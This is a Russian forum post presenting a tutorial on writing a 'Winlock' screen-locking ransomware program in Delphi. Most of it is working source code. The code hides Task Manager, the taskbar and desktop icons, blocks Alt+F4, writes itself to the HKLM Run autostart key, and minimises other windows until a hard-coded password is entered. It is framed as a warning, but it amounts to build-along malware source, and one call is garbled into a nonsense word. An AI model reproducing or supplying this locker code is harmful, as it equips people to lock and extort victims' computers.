• Что бы вступить в ряды "Принятый кодер" Вам нужно:
    Написать 10 полезных сообщений или тем и Получить 10 симпатий.
    Для того кто не хочет терять время,может пожертвовать средства для поддержки сервеса, и вступить в ряды VIP на месяц, дополнительная информация в лс.

  • Пользаватели которые будут спамить, уходят в бан без предупреждения. Спам сообщения определяется администрацией и модератором.

  • Гость, Что бы Вы хотели увидеть на нашем Форуме? Изложить свои идеи и пожелания по улучшению форума Вы можете поделиться с нами здесь. ----> Перейдите сюда
  • Все пользователи не прошедшие проверку электронной почты будут заблокированы. Все вопросы с разблокировкой обращайтесь по адресу электронной почте : info@guardianelinks.com . Не пришло сообщение о проверке или о сбросе также сообщите нам.

Winlock На Delphi

Sascha Оффлайн

Sascha

Заместитель Администратора
Команда форума
Администратор
Регистрация
9 Май 2015
Сообщения
1,562
Баллы
155
Всегда интересно чему-то научиться, что-то понять и что-то повторить, в своей трактовке и со своей логикой :) Скорее всего ты здесь именно за этим, так что начнём.

Что такое Winlock? Это такая вещь, которая блокирует экран пользователя (повисает на рабочем столе) и вымогает что-либо. Очень-очень злая штука. Будучи глупым юзверем, как-то давно, в плавании по сети схватил я такую злую штуку, и чуть не отправил злополучную смс. И даже сейчас таких людей очень много, и многие эту смс всё-таки отправляют. Так что статья написана для того, что бы предостеречь тебя в такой ситуации. Что бы понять как действует преступник - нужно мыслить как преступник. А для этого надо разобрать всю структуру работы вымогателя на живом примере. Так что начнём разбираться.

1) Что важно понимать.
__________

Сегодня я рассмотрю то, что можно схватить в сети чаще всего - самый примитивный Winlock, написанный на коленке. Именно такой, с самыми незамысловатыми способами работы мы сегодня и рассмотрим. В последующем будет рассмотрение Winlock'а с hook'ами (терпеть их не могу, но показать надо) и Winlock'а на чистом API (что даст очень маленький размер).
_________

Важно понимать, что в первую очередь такая программа обрубает все ходы отступления. А какие есть ходы назад? Ну как вариант диспетчер задач. Он не вызвался? Тогда связки клавиш, например Alt+F4. Не помогло? Паника-паника! Нужно перезагрузить компьютер, тогда всё пройдёт! И вымогатель и сглаз и понос! Перезагрузили, ничего не прошло. У пользователя уже совсем паника, windows переустанавливать он не умеет, и в отчаянии отправляет смс на номер, что вымогатель написал. Если winlock порядочный, то он разблокирует пользователя, предупредит что бы больше так не делал и само-удалится. Если же нет, то ничего не изменится и пользователю придётся переустановить систему.

Вся работа программы основывается на обрубании этих самых ходов отступления, т.е. попытках остановить программу. Так что далее рассмотрим как это сделать.

2)Как?

Совсем не сложно.

Что такое Handle? Если понятно - то это указатель (ссылка) на дескриптор (расположение в оперативной памяти) окна или программы (тут мы неожиданно узнаём что у каждого окна или программы есть свой дескриптор:) ). Вот этот дескриптор (или ссылку на дескриптор ) можно какой-то функцией получить. А можно его получить и например поставить приоритет запуска данной программе (приоритет - скрытый, приоритет - modal) и так далее. Т.е. фактически мы можем скрыть любое окно в системе, скрыть любую программу. И при её вызове она не будет отображаться.

Что ещё? Ещё важно сделать так, что бы при перезагрузке программа оставалась запущенной. Пропишем что-нибудь в реестр, что бы в момент отображения рабочего стола отобразилась и программа (а дальше она уже активирует свои злые возможности). Какие мы коварные.

3) Кодим.

Форма для работы:

a7khrsy7hrhf9kt.png

В поле будет вводиться пароль, если он не верен - то ничего не разблокируется. Если верен - то всё ok'ey. На кнопках 1-9 и 0 код простой:

Код:
edit1.text:=edit1.text+'1' и т.д.
У кнопки "Очистить" код :

Код:
edit1.Clear;
Теперь рассмотрим как же блокировать окна. Начнём с диспетчера задач.

Он вызывается 2-мя методами: 1) Сочетание клавиш CTR+ALT+DELETE ; 2) Сочетание клавиш CTR+SHIFT+ESC.

Эти сочетания можно исключить 3-мя методами. HOOK, через Handle окна и SystemParametersInfo. К сожалению последний , 3-ий, работал только в Windows XP. В 7-ой версии он уже не работает. HOOK я буду рассматривать в следующей статье, так что сегодня рассмотрим отключение через Handle окна:

В uses дописываем модуль SHELLAPI и Registry.

Пишем в событие формы OnCreate:

Код:
//Выключение:
var H : THandle;
begin
H:=FindWindow(nil,'Диспетчер задач Windows');  // H = дескриптору на диспетчер задач
if H=0 then бобр(0,'open','taskmgr.exe',nil,nil,SW_HIDE)  // если дескриптор не найден, то запрещаем запуск процесса, если найден, то
else ShowWindow(H,SW_HIDE);   //ставим ему скрытый приоритет
//Включение:
var  H:THandle;
begin
  H:=FindWindow(nil, 'Диспетчер задач Windows');    // H = дескриптору на диспетчер задач
  ShowWindow(H,SW_SHOWNORMAL);   //ставим ему нормальный приоритет
end;
Как работает. Функция FindWindow имеет 2 параметра: 1) Класс окна; 2)Заголовок окна. Т.к. класс окна мы не знаем, ставим вместо него NIL, а вот заголовок виден - "Диспетчер задач Windows". Сама функция получает дескриптор окна (его положение в оперативной памяти) (иногда называют HANDLE, отсюда и название типа - Thandle). И вот данный дескриптор мы присваиваем переменной соответствующего типа. Далее функция ShowWindow грубо говоря ставит приоритет на вызов (когда окно будет вызвано, оно будет вызвано с данным приоритетом). Приоритеты знает гугл. Оттуда и берём, что SW_HIDE - скрытый приоритет. SW_SHOWNORMAL - нормальный приоритет.

Теперь заблокируем комбинацию клавиш Alt+F4:

В событии формы Close нужно написать:

Код:
CanClose := False;
Глупый способ, но он работает и железно блокирует эту связку клавиш.

Идём дальше:
Код:
//______________скрытие панели задач_______________
H := FindWindow('Shell_TrayWnd', Nil); //далее комментарии не ставлю, так как принцип пока один и тот же
ShowWindow(H, SW_HIDE);
//______________скрытие панели задач_______________
 
//______________убираем иконки с раб. стола_______________
H:=FindWindow(nil,'Program Manager');
ShowWindow(H,SW_HIDE);
//______________убираем иконки с раб. стола_______________
 
//______________добавление в автозагрузку_______________
reg:= TRegistry.Create;
reg.RootKey:= hkey_local_machine;
reg.LazyWrite:= false;
reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run\', false);
reg.WriteString('ololo', application.ExeName);  //Вместо ololo пишем любое удобное вам имя
reg.CloseKey;
reg.Free;
//______________добавление в автозагрузку_______________
Про автозагрузку пару слов. Сейчас рассматривать не буду, так как работать с реестром совсем не сложно. На крайний случай при отсутствии справки в delphi идите вы в гугл, там всё есть :) Ну или пишите свои вопросы в комментариях.

Теперь нужно свернуть все окна, что бы осталось только наше. Для этого есть небольшая и удобная процедурка:

Код:
procedure MinimizeAllApp;
VAR
Wnd : hWnd;
buff: ARRAY [0..127] OF Char;
begin
Wnd := GetWindow(form1.Handle, gw_HWndFirst);
WHILE Wnd <> 0 DO BEGIN {Не показываем:}
IF (Wnd <> Application.Handle) AND {-Собственное окно}
IsWindowVisible(Wnd) AND {-Невидимые окна}
(GetWindow(Wnd, gw_Owner) = 0) AND {-Дочернии окна}
(GetWindowText(Wnd, buff, sizeof(buff)) <> 0) {-Окна без заголовков}
THEN BEGIN
{тут во и пишешь:}
PostMessage(wnd, WM_SYSCOMMAND, SC_MINIMIZE, 0);
{или что-то вроде этого}
END;
Wnd := GetWindow(Wnd, gw_hWndNext);
END;
end;
В работе:
ky22eke2kdssdnz.jpg

Ну и дальше осталось лишь выполнить небольшую проверку на пароль и написать все обратные процедуры на кнопку разблокировать:

Код:
var H: Thandle;
reg: TRegistry;
s: string[10];
begin
s:= edit1.Text;
if s='45672' then
begin
H:=FindWindow(nil,'Диспетчер задач Windows');
ShowWindow(H,SW_SHOWNORMAL);
H := FindWindow('Shell_TrayWnd', Nil);
ShowWindow(H, SW_SHOWNORMAL);
H:=FindWindow(nil,'Program Manager');
ShowWindow(H,SW_SHOWNORMAL);
reg:= TRegistry.Create;
reg.RootKey:= hkey_local_machine;
reg.LazyWrite:= false;
reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run\', false);
reg.DeleteKey ('ololo');
reg.CloseKey;
reg.Free;
Close;
end else
ShowMessage ('Пароль неверен. Повторите операцию');
end;
Итак. Подведём промежуточный итог. Что у нас есть? Пользователь запускает программу, она пишется в автозагрузку, сворачивает все окна, очищает рабочий стол, скрывает все панели и выдаёт злое сообщение. Для неопытного пользователя этого уже достаточно, и придётся либо переустановить систему, либо выполнить требования что описаны в программе (что скорее всего и будет). Статья первая и самая лёгкая (с использованием API-функций и простых приёмов) завершена. Следующая будет с использованием HOOK'-ов.
 
Вверх Снизу